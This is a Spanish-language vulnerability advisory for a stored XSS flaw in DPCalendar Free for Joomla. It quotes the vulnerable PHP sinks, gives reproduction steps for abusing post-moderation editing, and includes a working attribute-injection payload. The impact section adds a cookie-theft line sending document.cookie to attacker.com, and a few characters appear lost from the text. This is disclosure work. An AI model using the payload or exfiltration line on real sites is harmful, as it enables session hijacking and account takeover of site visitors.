
XSS almacenado a través del título de ubicación en DPCalendar Free
DPCalendar Free ≤ 10.11.2 — Un Usuario con Rol de Autor Omite la Revisión de Contenido para Inyectar XSS Persistente mediante el Título de Ubicación, Activado al Pasar el Cursor por Cualquier Visitante
El campo $location->title se renderiza sin htmlspecialchars() en default_locations.php. El InputFilter::clean() del lado del servidor de Joomla elimina y de los campos de texto, pero permite , lo que permite a un usuario con rol de Autor salir del contexto de un atributo HTML. Cuando cualquier visitante pasa el cursor sobre la sección de Información de Ubicación de una página de evento, el controlador inyectado ejecuta JavaScript arbitrario en su sesión de navegador.
<>"onmouseoverUn segundo defecto de diseño amplifica el impacto: EventController::allowEdit() solo verifica created_by == current_user — no verifica el estado de publicación del evento. Un Autor puede crear un evento benigno, hacer que un administrador lo publique y luego, silenciosamente, armar la ubicación vinculada editando su título después de la publicación, omitiendo por completo la revisión de contenido. La carga útil XSS se inserta después de la moderación; los administradores nunca la ven durante su ciclo de revisión.
| COMPONENTE | VULNERABLE | PROBADO EN | CORREGIDO |
|---|---|---|---|
| DPCalendar Free | ≤ 10.11.2 | Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache) | 10.12.0 |
Tipo: Cross-Site Scripting Almacenado / Codificación de Salida Incorrecta (CWE-79)
Autenticación requerida: Rol de Autor — usuario de frontend (grupo 4 de Joomla, mínimo para crear eventos)
Archivo: site/tmpl/event/default_locations.php
$location->title se imprime directamente — sin htmlspecialchars() — en dos contextos de salida en default_locations.php. El contexto de atributo es el sumidero explotable a través de la interfaz web, ya que el InputFilter de Joomla bloquea <> pero permite " sin alteraciones.
DEFAULT_LOCATIONS.PHP — SUMIDEROS DE SALIDA VULNERABLES
// Sumidero 1 — contenido de texto (inyección HTML; <> eliminado por InputFilter vía interfaz web)
<span class="dp-location__title"><?php echo $location->title; ?></span>
// Sumidero 2 — atributo HTML (inyección de atributo; " pasa a través de InputFilter)
<div class="dp-location__details"
data-title="<?php echo $location->title; ?>"
Un valor de título como New Location" onmouseover="alert(document.domain) se almacena intacto por el servidor. En la salida, el Sumidero 2 se renderiza como:
<div class="dp-location__details"
data-title="New Location" onmouseover="alert(document.domain)"
El atributo onmouseover se convierte en un controlador de eventos activo en el DOM renderizado.
EventController::allowEdit() otorga acceso de edición a cualquier Autor para sus propios eventos, independientemente del estado de publicación. Un atacante establece confianza enviando un evento normal para revisión del administrador y luego — después de la publicación por parte del administrador — edita silenciosamente la ubicación vinculada para inyectar la carga útil XSS:
SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() SIN VERIFICACIÓN DE ESTADO
protected function allowEdit($data = [], $key = 'id')
{
// ...
return $calendar instanceof CalendarInterface &&
($calendar->canEdit() ||
($calendar->canEditOwn() &&
$event->created_by == $this->getCurrentUser()->id));
// ↑ Sin verificación de $event->state — los eventos publicados siguen siendo editables por el Autor
}
Navegue al formulario de inicio de sesión del frontend e inicie sesión con una cuenta de Autor (grupo 4 de Joomla — mínimo requerido para crear eventos y ubicaciones).

Navegue a /index.php?option=com_dpcalendar&view=form. Cree un evento con un título limpio y adjunte cualquier ubicación existente (por ejemplo, "Greater London"). Esto establece la legitimidad del Autor antes de introducir la carga útil.


El evento se envía para revisión. Un administrador inicia sesión y lo publica desde el backend de DPCalendar. El evento ahora está activo y visible para todos los visitantes del sitio.

Como Autor, navegue a la página del evento publicado. El botón Editar Evento permanece visible — allowEdit() no verifica el estado de publicación. Haga clic en Editar Evento, vaya a la pestaña Ubicación y haga clic en el ícono de lápiz para abrir locationform.

Reemplace el nombre de la ubicación con la carga útil. El InputFilter de Joomla permite " — la carga útil se guarda intacta y rompe el contexto del atributo HTML en la salida:
CARGA ÚTIL — CAMPO DE TÍTULO (LOCATIONFORM)
New Location" onmouseover="alert(document.domain)

Haga clic en Guardar.
Cuando cualquier usuario — autenticado o anónimo — visita la página de detalles del evento y mueve su cursor sobre la sección de Información de Ubicación, el controlador onmouseover inyectado se activa inmediatamente. No se requiere autenticación, clic ni interacción adicional más allá de visitar la página.

La carga útil cruda es visible en la sección de Ubicación de la página del evento — el título sin escapar se renderiza como un atributo HTML activo:

Pasar el cursor sobre la sección de Ubicación activa el diálogo de alerta en el navegador del visitante anónimo:

Secuestro de sesión — El controlador inyectado puede exfiltrar la cookie de sesión de la víctima mediante fetch('//attacker.com/?c='+document.cookie), otorgando la toma completa de la cuenta para cualquier rol que vea el evento.
Superficie de ataque persistente y limitada al evento — La carga útil persiste hasta que el título de la ubicación se corrija manualmente. Cada usuario que visita la página del evento — incluidos los visitantes anónimos — está expuesto. Los eventos de alto tráfico (conferencias públicas, páginas de reservas) multiplican el número de víctimas.
Omisión de confianza posterior a la publicación — Debido a que el Autor puede modificar silenciosamente la ubicación después de la aprobación del administrador, la carga útil nunca se ve durante la revisión de contenido. El evento benigno pasa la moderación; el XSS se inserta después.